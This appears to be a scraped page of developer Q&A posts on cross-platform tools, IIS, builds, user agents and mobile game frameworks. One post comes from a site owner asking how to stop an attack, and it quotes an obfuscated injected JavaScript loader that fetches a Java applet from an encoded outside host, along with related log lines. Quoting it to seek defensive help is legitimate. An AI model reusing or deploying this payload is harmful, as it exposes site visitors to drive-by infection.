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  • Cross Domain Post - Losing POST Data

    - by Tomas Beblar
    I have 2 servers, both running R2 / IIS7 / ASP Classic sites (can't get around any of that) Server A is making the follow calls: Dim objXMLHTTP, xml Set xml = Server.CreateObject("Msxml2.ServerXmlHTTP.6.0") xml.Open "POST", templateName, false xml.setRequestHeader "Content-Type", "application/xml" xml.Send variables Where the templateName is the URL of Server B (It's an email template) ... and variables are a name value pair string like a query string password=myPassword&customerEmail=Dear+Bob,.... Server B receives the POST but all the POST data (password=myPassword&customerEmail=Dear+Bob,....) is missing from the POST password = Request.Form("templatePassword") customerEmail = Request.Form("RackAttackCustomerEmail") The above values are all empty. Here's the kicker. This all worked on our old servers (Windows Server 2003, IIS 6) But when we migrated over, this stopped working correctly. My question is: What would cause the POST data to be dropped in IIS 7 when it all worked in IIS 6? I've done about 3 days of research into this trying many different things and nothing has worked. The POST data is just gone.

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  • Malware Cross Site Scriptinig attack / XSS Attack?

    - by user124176
    I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

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  • Splitting build cross the network?

    - by Dandikas
    Is there a known solution for splitting build process cross the network machines? Use case: We are an average software development company. We own around 50 development workstations (Quad Core 2.66Ghz, 4 GB ram, 200 GB raid). No need to tell that at any single moment not every machine is loaded to the max. There are 5 to 15 projects running simultaneously at any single moment. Obviously all of them are continuously build on server, than deployed to proper environment. Single project build is taking from 3 to 15 minutes. The problem: Whenever we build 5 projects in a row the last project is going to be ready after around 25 - 50 minutes. Building in parallel does not solve the problem (build is only a part of the game, than you need to deploy, run tests etc.) YES the correct solution is to add another build server, but "That involves buying new Expensive hardware, and we already spent a lot!". Yea, right(damn them)! Anyway. What about splitting build among developers workstation? Lets say whenever we need to build project "A" we check 5 workstations and start build on all that are not overloaded. The build can be canceled by a developer if he really needs all the power of his machine as long as there is at least 1 machine that is still building. After build is finished deployment can be performed to a proper environment (hosted on some server, not on workstation :) ). The bigger the company the more this makes sense to me. Anyone tried something like this? Are there any good practices? Any helpful software?

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  • Cross-Platform Language + GUI Toolkit for Prototyping Multimedia Applications

    - by msutherl
    I'm looking for a language + GUI toolkit for rapidly prototyping utility applications for multimedia installations. I've been working with Max/MSP/Jitter for many years, but I'd like to add a text-based language to my 'arsenal' for tasks apart from 'content production'. (When it comes to actual media synthesis, my choices are clear [SuperCollider + MSP for audio, Jitter + Quartz + openFrameworks for video]). I'm looking for something that maintains some of the advantages of Max, but is lower-level, faster, more cross-platfrom (Linux support), and text-based. Integration with powerful sound/video libraries is not a requirement. Some requirements: Cross-platform (at least OSX and Linux, Windows is a plus) Fast and easy cross-platform GUIs with no platform-specific modification GUI code separated from backend code as much as possible Good for interfacing with external serial devices (micro-controllers) Good network support (UDP/TCP) Good libraries for multi-media (video, sound, OSC) are a plus Asynchronous synchronous UNIX integration is a plus The options that come to mind: AS3/Flex (not a fan of AS3 or the idea of running in the Flash Player) openFrameworks (C++ framework, perhaps a bit too low level [looking for fast development time] and biased toward video work) Java w/ Processing libraries (like openFrameworks, just slower) Python + Qt (is Qt appropriate for rapid prototyping?) Python + Another GUI toolkit SuperCollider + Swing (yucky GUI development) Java w/ SWT Any other options? What do you recommend?

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  • VB.net avoiding cross thread exception with extension method

    - by user574632
    Hello I am trying to implement a solution for updating form controls without using a delegate. I am attempting to use the 1st solution on this page: http://www.dreamincode.net/forums/blog/143/entry-2337-handling-the-dreaded-cross-thread-exception/ Imports System.ComponentModel Imports System.Runtime.CompilerServices Public Module MyInvoke <Extension()> _ Public Sub CustomInvoke(Of T As ISynchronizeInvoke)(ByVal control As T, ByVal toPerform As Action(Of T)) If control.InvokeRequired Then control.Invoke(toPerform, New Object() {control}) toPerform(control) End If End Sub End Module The site gives this as example of how to use: Label1.CustomInvoke(l => l.Text = "Hello World!") But i get 'l' is not declared error. As you can see im very new to VB or any OOP. I can get the second solution on that page to work (using delegates) but i have quite a few things to do in this thread and it seems like i would need to write a new delegate sub for each thing, which seems wasteful. What i need to do is select the 1st item from a combobox, update a textbox.text with the selected item, and pass the selected item to a function. Then wait for x seconds and start again, selecting the second item. I can get it to work in a single threaded application, but i need the interface to remain responsive. Any help greatly appreciated. EDIT: OK so changing the syntax worked for the example. However if i change it from Label1.CustomInvoke(Sub(l) l.text = "hello world!") (which worked just fine) to: Dim indexnumber As Integer = 0 ComboBox1.CustomInvoke(Sub(l) l.SelectedIndex = indexnumber) I get a cross threading error as though i didnt even use this method: Cross-thread operation not valid: Control 'ComboBox1' accessed from a thread other than the thread it was created on. So now im back to where i started? Any further help very much appreciated.

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  • Crystal Reports Cross Tab Conditional Formatting

    - by ltran
    I would like to achieve a simplified result similar to the "Color Scale" function in Excel i.e. gradient colouring based on the lowest value (red) to highest value (green), except in my cross tab using Crystal Reports 2008. My cross tab looks a little like this: HOURS L1 L2 L3 L4 Total 1 hours | 5 | 0 | 1 | 16 | 22 | 2 hours | 0 | 1 | 0 | 10 | 11 | 3 hours | 8 | 2 | 6 | 12 | 28 | TOTAL |13 | 3 | 7 | 38 | 61 | The principle of my function is find the maximum value in the cross table then use 20%, 40%, 60%, 80% values to colour the background. Function is as follows (in the format background section): if currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.2) then color(255,0,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.2) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.4)) then color(255,192,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.4) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.6)) then color(255,255,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.6) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.8)) then color(146,208,80) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.8)) then color(0,176,80) It's not elegant, nor does it work properly, any assistance/suggestions would be much appreciated. I wasn't expecting it to be so complicated as originally I was working with the below assuming it would work, except it tells me that "CurrentFieldValue" is not a field. if CurrentFieldValue < ((Maximum (CurrentFieldValue))*0.2) then color(255,0,0) else if ... etc.

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  • Cross-platform distributed fault-tolerant (disconnected operation/local cache) filesystem

    - by Adrian Frühwirth
    We are facing a design "challenge" where we are required to set up a storage solution with the following properties: What we need HA a scalable storage backend offline/disconnected operation on the client to account for network outages cross-platform access client-side access from certainly Windows (probably XP upwards), possibly Linux backend integrates with AD/LDAP (permission management (user/group management, ...)) should work reasonably well over slow WAN-links Another problem is that we don't really know all possible use cases here, if people need to be able to have concurrent access to shared files or if they will only be accessing their own files, so a possible solution needs to account for concurrent access and how conflict management would look in this case from a user's point of view. This two years old blog posts sums up the impression that I have been getting during the last couple of days of research, that there are lots of current übercool projects implementing (non-Windows) clustered petabyte-capable blob-storage solutions but that there is none that supports disconnected operation nicely and natively, but I am hoping that we have missed an obvious solution. What we have tried OpenAFS We figured that we want a distributed network filesystem with a local cache and tested OpenAFS (which, as the only currently "stable" DFS supporting disconnected operation, seemed the way to go) for a week but there are several problems with it: it's a real pain to set up there are no official RHEL/CentOS packages the package of the current stable version 1.6.5.1 from elrepo randomly kernel panics on fresh installs, this is an absolute no-go Windows support (including the required Kerberos packages) is mystical. The current client for the 1.6 branch does not run on Windows 8, the current client for the 1.7 does but it just randomly crashes. After that experience we didn't even bother testing on XP and Windows 7. Suffice to say, we couldn't get it working and the whole setup has been so unstable and complicated to setup that it's just not an option for production. Samba + Unison Since OpenAFS was a complete disaster and no other DFS seems to support disconnected operation we went for a simpler idea that would sync files against a Samba server using Unison. This has the following advantages: Samba integrates with ADs; it's a pain but can be done. Samba solves the problem of remotely accessing the storage from Windows but introduces another SPOF and does not address the actual storage problem. We could probably stick any clustered FS underneath Samba, but that means we need a HA Samba setup on top of that to maintain HA which probably adds a lot of additional complexity. I vaguely remember trying to implement redundancy with Samba before and I could not silently failover between servers. Even when online, you are working with local files which will result in more conflicts than would be necessary if a local cache were only touched when disconnected It's not automatic. We cannot expect users to manually sync their files using the (functional, but not-so-pretty) GTK GUI on a regular basis. I attempted to semi-automate the process using the Windows task scheduler, but you cannot really do it in a satisfactory way. On top of that, the way Unison works makes syncing against Samba a costly operation, so I am afraid that it just doesn't scale very well or even at all. Samba + "Offline Files" After that we became a little desparate and gave Windows "offline files" a chance. We figured that having something that is inbuilt into the OS would reduce administrative efforts, helps blaming someone else when it's not working properly and should just work since people have been using this for years. Right? Wrong. We really wanted it to work, but it just doesn't. 30 minutes of copying files around and unplugging network cables/disabling network interfaces left us with (silent! there is only a tiny notification in Windows explorer in the statusbar, which doesn't even open Sync Center if you click on it!) undeletable files on the server (!) and conflicts that should not even be conflicts. In the end, we had one successful sync of a tiny text file, everything else just exploded horribly. Beyond that, there are other problems: Microsoft admits that "offline files" in Windows XP cannot cope with "large files" and therefore does not cache/sync them at all which would mean those files become unavailable if the connection drop In Windows 7 the feature is only available in the Professional/Ultimate/Enterprise editions. Summary Unless there is another fault-tolerant DFS that supports Windows natively I assume that stacking a HA Samba cluster on top of something like GlusterFS/Lustre/whatnot is the only option, but I hope that I am wrong here. How do other companies allow fault-tolerant network access to redundant storage in a heterogeneous environment with Windows?

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  • C# Java Objective-C need expert advices

    - by Kevino
    Which platform as the edge today in 2012 with the rise of cloud computing, mobile development and the revolution of HTML5/Javascript between J2EE, .Net framework and IOS Objective-C ??? I want to start learning 1 language between Java, C# and Objective-C and get back into programming after 14 years and I don't know which to choose I need expert advices... I already know a little C++ and I remember my concepts in example pointers arithmetic, class etc so I tend to prefer learning C# and Objective-C but I've been told by some experienced programmers that Windows 8 could flop and .Net could be going away slowly since C++ and Html5/Javascript could be king in mobile is that true ? and that C# is more advanced compared to Java with Linq/Lambda... but not truly as portable if we consider android, etc but Java as a lot going for him too Scala, Clojure, Groovy, JRuby, JPython etc etc so I am lost Please help me, and don't close this right away I really need help and expert advices thanks you very much ANSWER : ElYusubov : thanks for everything please continue with the answers/explanations I just did some native C++ in dos mode in 1998 before Cli and .Net I don't know the STL,Templates, Win32 or COM but I remember a little the concept of memory management and oop etc I already played around a little with C# 1.0 in 2002 but things changed a lot with linq and lambda... I am here because I talked with some experienced programmers and authors of some the best selling programming books like apress wrox and deitel and they told me a few things are likely to happen like .Net could be on his way out because of Html5/Javascript combo could kill xaml and C++ native apps on mobile dev will outperform them by a lot... Secondly ios and android are getting so popular that mobile dev is the future so Objective-C is very hard to ignore so why get tied down in Windows long term (.Net) compared to Java (android)... but again android is very fragmented, they also said Windows 8 RT will give you access to only a small part of the .Net framework... so that's what they think so I don't know which direction to choose I wanted to learn C# & .Net but what if it die off or Windows 8 flop Windows Phone marketshare really can't compare to ios... so I'll be stuck that's why I worry is Java safer long term or more versatile if you want 'cause of the support for android ??

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  • What does it mean when a User-Agent has another User-Agent inside it?

    - by Erx_VB.NExT.Coder
    Basically, sometimes the user-agent will have its normal user-agent displayed, then at the end it will have teh "User-Agent: " tag displayed, and right after it another user-agent is shown. Sometimes, the second user-agent is just appended to the first one without the "User-Agent: " tag. Here are some samples I've seen: The first few contain the "User-Agent: " tag in the middle somewhere, and I've changed its font to make it easier to to see. Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; MRA 5.10 (build 5339); User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152) Here are some without the "User-Agent: " tag in the middle, but just two user agents that seem stiched together. Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; IPMS/6568080A-04A5AD839A9; TCO_20090713170733; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); InfoPath.2) Now, just to add a few notes to this. I understand that the "User-Agent: " tag is normally a header, and what follows a typical "User-Agent: " string sequence is the actual user agent that is sent to servers etc, but normally the "User-Agent: " string should not be part of the actual user agent, that is more like the pre-fix or a tag indicating that what follows will be the actual user agent. Additionally, I may have thought, hey, these are just two user agents pasted together, but on closer inspection, you realize that they are not. On all of these dual user agent listings, if you look at the opening bracket "(" just before the "compatible" keyword, you realize the pair to that bracket ")" is actually at the very end, the end of the second user agent. So, the first user agents closing bracket ")" never occurs before the second user agent begins, it's always right at the end, and therefore, the second user agent is more like one of the features of the first user agent, like: "Trident/4.0" or "GTB6" etc etc... The other thing to note that the second user agent is always MSIE 6.0 (Internet Explorer 6.0), interesting. What I had initially thought was it's some sort of Virtual Machine displaying the browser in use & the browser that is installed, but then I thought, what'd be the point in that? Finally, right now, I am thinking, it's probably soem sort of "Compatibility View" type thing, where even if MSIE 7.0 or 8.0 is installed, when my hypothetical the "Display In Internet Explorer 6.0" mode is turned on, the user agent changes to something like this. That being, IE 8.0 is installed, but is rendering everything as IE 6.0 would. Is there or was there such a feature in Internet Explorer? Am I on to something here? What are your thoughts on this? If you have any other ideas, please feel free to let us know. At the moment, I'm just trying to understand if these are valid User Agents, or if they are invalid. In a list of about 44,000 User Agents, I've seen this type of Dual User Agent about 400 times. I've closely inspected 40 of them, and every single one had MSIE 6.0 as the "second" user agent (and the first user agent a higher version of MSIE, such as 7 or 8). This was true for all except one, where both user agents were MSIE 8.0, here it is: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 8.0; Win32; GMX); GTB0.0) This occured once in my 40 "close" inspections. I've estimated the 400 in 44,000 by taking a sample of the first 4,400 user agents, and finding 40 of these in the MSIE/Windows user agents, and extrapolated that to estimate 40. There were also similar things occuring for non MSIE user agents where there were two Mozilla's in one user agent, the non MSIE ones would probably add another 30% on top of the ones I've noted. I can show you samples of them if anyone would like. There we have it, this is where I'm at, what do you guys think?

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  • Why does max-width behave counter intuitively on columns in a table? [migrated]

    - by Nate
    Basically, I have a stretchy table, I want my label column to be fixed width and my data column to be dynamically sized. My inclination would be to set the max-width via CSS on my label column. However, this has the opposite effect. I've created a jsfiddle that replicates this. (Re-size the window to see the left column dynamically sized and the right column fixed size) On my own site, I see the same behavior and it happens in IE and Chrome. If I switch it, and set max-width on the data column, everything behaves as I want, but it feels backwards to me. Am I doing something wrong here?

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  • Creating an installer for a python GTK3 application

    - by Noam Gal
    I have just finished developing a Python 2.7 application using Gtk3 for GUI. My question is, how can I now create an installer for Windows, Mac, and Linux (possibly three different installers) for my end-users to easily download the application without having to download python and GTK and such. I have never created an installer from a python script before. I have heard that are some tools for this purpose (py2exe? pyinstaller?), but I wouldn't know how and what to pack with them in order for it to be able to use Gtk3. Thanks in advanced, Noam.

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  • HTML5 mobile game development vs. native game apps

    - by Vic Szpilman
    What is the current state of game engines, frameworks, libraries and conversions related to the HTML5 set of technologies (including CSS3 and JavaScript libraries such as RaphaelJS, Impact, gameQuery); and how does the best of that compare with developing a native app (especially for iOS and Android)? Especially in terms of performance, visuals and getting that "native feel". Thoughts on solutions such as Appcelerator and Corona SDK are also appreciated. In regards to Unity3D, is it possible to develop in it and still have the game be playable on a browser (such as current releases of Chrome or Firefox, at least) without any dependencies or having the user install anything (no unity web player). What I'm looking for is how to develop in web standards as to reach the maximum number of platforms (including outside mobile) while still retaining a native experience for mobile without having to implement the game anew for iOS and Android.

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  • Is Ubuntu workable as a laptop for an IT consultant?

    - by Eric Wilson
    I work as a consultant programmer, typically in large businesses. I use a Windows Laptop, and many of my colleagues use a Mac. My personal preference would be to run Ubuntu if I could have complete control over my development environment. But I will have occasional need for Microsoft specific products, especially IE. My colleagues that use a Mac often run Windows on a virtual machine for these situations. My question is: Is Ubuntu a workable solution for the laptop of an enterprise programmer? For example, is it as easy to run Windows on a VM on Ubuntu as it is on a Mac? Has anyone out there tried this? Is there any particular reason why Ubuntu would not serve as well as a Mac for development in this environment? Note that I am not doing .NET development, so I am typically dealing with Java that is going to be run on an Apache server and used by clients running Windows.

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  • Two BULK INSERT issues I worked around recently

    - by AaronBertrand
    Since I am still afraid of SSIS, and because I am dealing mostly with CSV files and table structures that are relatively simple and require only one of the three letters in the acronym "ETL," I find myself using BULK INSERT a lot. I have been meaning to switch to using CLR, since I am doing a lot of file system querying using xp_cmdshell, but I haven't had the chance to really explore it yet. I know, a lot of you are probably thinking, wow, look at all those bad habits. But for every person thinking...(read more)

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  • Patterns to refactor common code in multi-platform software

    - by L. De Leo
    I have a Django application and a PyQt application that share a lot of code. A big chunk of the PyQt application are copied verbatim from the Django application's views. As this is a game, I have already an engine.py module that I'm sharing among the two applications, but I was wondering how to restructure the middle layer (what in Django corresponds to the largest part of the views minus the return HttpResponse part) into its own component. In the web application the components are those of a classic Django application (with the only exception that I don't make any use of models): the game engine the url dispatcher the template the views My PyQt application is divided into: the game engine the UI definition where I declare the UI components and react to the events (basically this takes the place of the template and the url dispatcher in the Django app) the controller where I instantiate the window object and reproduce the methods that map the views in the Django app

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  • Two BULK INSERT issues I worked around recently

    - by AaronBertrand
    Since I am still afraid of SSIS, and because I am dealing mostly with CSV files and table structures that are relatively simple and require only one of the three letters in the acronym "ETL," I find myself using BULK INSERT a lot. I have been meaning to switch to using CLR, since I am doing a lot of file system querying using xp_cmdshell, but I haven't had the chance to really explore it yet. I know, a lot of you are probably thinking, wow, look at all those bad habits. But for every person thinking...(read more)

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  • What tools should I consider if my aim is to make a game available to as many platforms as possible?

    - by Kenji Kina
    We're planning on developing a 2D, grid-based puzzle game, and although it's still very early in the planning stages, we'd like to make our decisions well from the beginning. Our strategy will be to make the game available to as many platforms as possible, for example PCs (Windows, Mac and/or Linux), mobile phones (iPhone and/or Android based phones), game consoles (XBLA and/or PSN) PC will have an emphasis, but I believe that's the most flexible platform so that shouldn't be a problem. So, what programming language, game engine, frameworks and all around tools would be best suited for our goal? P.S.: I'm betting a set of tools won't cover ALL of them, and that there will still be some kind of "translating" effort for some platforms, but we'd like to know what the most far reaching are.

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  • Where do I start in regards to making a Gnome/Unity Form Application

    - by JMK
    Ok so I am familiar with developing Form and Console applications on Windows using Visual Studio .Net with C#, but where do I start when it comes to Linux distro's like Ubuntu, is there an equivalent? How would one go about matching what they can do in a Windows environment with .Net and C# in a Linux environment without .Net coding in something like Java or C/C++? I am aware of Eclipse, does eclipse have a form designer or do you have to code the design of any Gnome/Unity forms manually? Can I use eclipse to write the Linux equivalent of a console application, that you just double click on to run? I also know about Mono, but the idea is that I want to learn how to develop software without using anything in the Microsoft stack and am not sure where to start. What is the standard language/framework used to develop these types of applications on Linux? As I become more proficient with Visual Studio, C# and .Net, it has struck me that without these Microsoft tools, I am nothing. I am only capable of developing for the Microsoft OS and this scares me. This isn't some anti Microsoft thing, Microsoft makes some incredible Software/Hardware/Operating Systems/IDE's, but it is generally a bad idea to put all of your eggs in one basket so if I want to learn how to develop Terminal and Gnome/Unity form applications where in the world do I start? I have used Linux on and off for years, but Windows has been my primary OS. However I have watched Linux get better and better and as much as I love Windows 7, I am dubious about Windows 8 (I for one will sorely miss my start menu)! Obviously MS aren't going anywhere anytime soon and I could spend the the next couple of decades developing for .Net without any issues but just because you can get away with something doesn't always mean it's a good idea. Thanks

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  • What tools should I consider if my strategy is to make a game available to as many platforms as possible?

    - by Kenji Kina
    We're planning on developing a 2D, grid-based puzzle game, and although it's still very early in the planning stages, we'd like to make our decisions well from the beginning. Our strategy will be to make the game available to as many platforms as possible, for example PCs (Windows, Mac and/or Linux), mobile phones (iPhone and/or Android based phones), game consoles (XBLA and/or PSN) PC will have an emphasis, but I believe that's the most flexible platform so that shouldn't be a problem. So, what programming language, game engine, frameworks and all around tools would be best suited for our goal? P.S.: I'm betting a set of tools won't cover ALL of them, and that there will still be some kind of "translating" effort for some platforms, but we'd like to know what the most far reaching are.

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  • Develop 3d game for iphone & android in single code

    - by lajpat
    I have to make a 3d game on the lines of this app 3D Chess I want to make this app for both android & iphone by writing a single code. Of course little native code will be required to be done. I want to ensure that entire logic & animation code is written only once. What software does one suggest to achieve this since I am not a tight schedule. I came across Corona but I am not sure if such game can be made using it. Others I found Unity & Shiva. I am not experience in 3D game so please if someone can help Thanks Lajpat

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  • Browser testing - Ideas on how to tackle it efficiently

    - by Rob
    Browser testing, the bane of any web designers life! Are there any tools and/or ways in which I can efficiently test different browsers on both Mac and PC? I not only want to test different browsers but also different versions of each browser. My current setup is on a Mac running VirtualBox with Windows Vista installed. This allows me to test both Mac and PC but the complications arise when trying to test different versions of browsers. Any one have any ideas?

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  • Choosing a crossplatform for mobile development

    - by Mech0z
    I am creating a enterprise project and will develop the app for WP, Android and IPhone (Maybe also tablets) I have then done some research of what solutions are out there and have narrowed my choice down to 3 platforms (Due to my requirement to work with Bluetooth) The biggest requirement other than Bluetooth is the need to create good interfaces and module programming so its easy to maintain the whole solution, other than that I would like to use C# but its not a real requirement, but if the difference between 2 platforms is very small then it might tip the scale. Mono (MonoTouch, Mono for android) PhoneGap RhoMobile From my understanding then PhoneGap is not suited for business apps and I am not entirely sure why, but it seems like a platform made for speed rather than long term developement, not sure how true this is. RhoMobile is made for enterprice and might suit my needs, but not sure if its a good platform Anyone with insight that care to share their opinion Mono is C#, seems to be very mature and I found MvvmCross which should help organize the project

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  • How would you design an application with many target platforms and devices?

    - by Pierre 303
    I'm in a very beginning of the design phase of an application that will have to run in the following platforms/devices: Desktop: Windows, Linux & Mac Mobile: Android, iPhone/iPad & Windows Phone 7 Web: Silverlight I will use C# on Mono and I want to maximize code re-usability. Except for the desktop (I'll use WinForms/GTK#), my concern is related to many different GUI that I will face. What would be your approach? Obviously, the views will be different, but what about the controllers, data access, utility classes, etc. Is it really acceptable to share everything but the views?

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  • Is there a list of shortcuts which are not reserved in any major browser?

    - by MainMa
    In the past, when I implemented shortcuts for web applications, I used different ones for different browsers: for example Ctrl+Shift+A was used in Chrome, but would be something else, like Ctrl+Shift+C in Firefox, since Firefox reserves the Ctrl+Shift+A shortcut for add-ons. Actually, I have a project where it would be nice to have the same shortcuts for every browser. Is there a list of shortcuts which are not reserved in any major browser (Chrome, Firefox, Safari, IE and Opera) or do I have to do my own by listing? Google wasn't helpful, since it rather shows the list of shortcuts which are common to all major browsers.

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  • Seeking advice on tools and technology for my new game [closed]

    - by k.k. slider
    I'm a C# developer who has been programming a game in my spare time using XNA and Visual Studio. The game's logic is mostly done and I've completed a prototype that has most of the functionality of (what I envision to be) the final game. However, having heard about the uncertain future and (possibly) limited audience for XNA games, I'm looking to switch platforms... but I don't know what technology would best suit my needs. Below are some specifics about my game and what exactly I'm looking for, if you're interested: The game is a 2D turn-based tactical RPG (strategy game) for two players. It is a basic sprite and tile based game with animations and sound. 3D capabilities are not necessary. I'd like to allow players to compete with others online, and have a basic ranking/matchmaking system. I will probably need something that can interact with a server and a database (the game is turn-based and has no RNG, so cheating would be easy to detect even if most computation is done client-side and minimal data is sent to the server). Ideally, I would be able to release an early version of the game and have people give feedback as I develop additional features (similar to Minecraft). I'd prefer to have a way to release periodic updates to the game instead of releasing an absolute final product. To reach the widest possible audience, I'd prefer technology that allows me to release on PC, Android, iOS, and (maybe) Mac. This is a game with simple mouse inputs which can fit on a mobile touch screen. The game should be monetizable. If I find success with this game, then I may consider becoming a full-time indie game developer. I have several other game ideas and have learned quite a bit from my first attempt at game development. My first thought was an F2P/microtransaction model, but I'm open to other suggestions. Language isn't a primary concern of mine, since I have a decent amount of experience using several languages to program large projects. I'm willing to spend money (e.g. on a developer's license), but the more expensive it gets, the more hesitant I am to use it. I've looked into the following solutions... there are a LOT of tools out there... if anyone has experience with any of these and would like to recommend/reject any of them, it would be helpful. C#/.NET (XNA/MonoGame/SDL/SlimDX/Xamarin/ExEn/ANX?) HTML5/JS (AppMobi/PhoneGap/Marmalade/FlashCanvas/Cordova/libRocket?) Python (Pyglet/Pygame/Kivy?) Java (JavaFX/libGDX?) Unity/Construct 2/Cocos2D/NME/Corona/other game creation software? I'd like something that can do 2D and isn't limited by being too high-level. Other languages (Lua/LOVE? Moai?) Thanks for answering this rather long and tedious question...

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